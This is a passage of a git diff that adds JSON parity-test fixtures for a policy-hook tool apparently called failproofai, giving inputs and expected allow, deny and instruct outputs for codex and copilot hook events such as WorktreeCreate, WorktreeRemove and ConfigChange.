"instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeCreate\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeCreate/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/WorktreeCreate/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..c70c31fa --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeCreate/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeCreate\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeRemove/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/WorktreeRemove/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..61997b4b --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeRemove/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeRemove/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/WorktreeRemove/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..d36d42fb --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeRemove/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeRemove/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/WorktreeRemove/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..b4a12564 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeRemove/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeRemove/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/WorktreeRemove/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..bd4dcf87 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeRemove/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..f824823d --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..30988048 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeRemove/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/WorktreeRemove/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..2c8dd845 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeRemove/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeRemove/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/WorktreeRemove/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..474907c5 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeRemove/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeRemove/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/WorktreeRemove/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..98e0ec8f --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeRemove/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeRemove/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/WorktreeRemove/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..571c06e8 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeRemove/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeRemove/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/WorktreeRemove/deny__tool-present__one-policy.json new file mode 100644 index 00000000..3867ca26 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeRemove/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeRemove/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/WorktreeRemove/deny__tool-present__two-policies.json new file mode 100644 index 00000000..a94b9cd9 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeRemove/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeRemove/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/WorktreeRemove/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..4781803d --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeRemove/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeRemove\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeRemove/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/WorktreeRemove/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..27bfb544 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeRemove/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeRemove\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeRemove/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/WorktreeRemove/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..800325a0 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeRemove/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeRemove\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeRemove/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/WorktreeRemove/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..4acefa09 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeRemove/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeRemove\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/ConfigChange/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/ConfigChange/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..8613d342 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ConfigChange/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/ConfigChange/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/ConfigChange/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..49eab333 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ConfigChange/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + 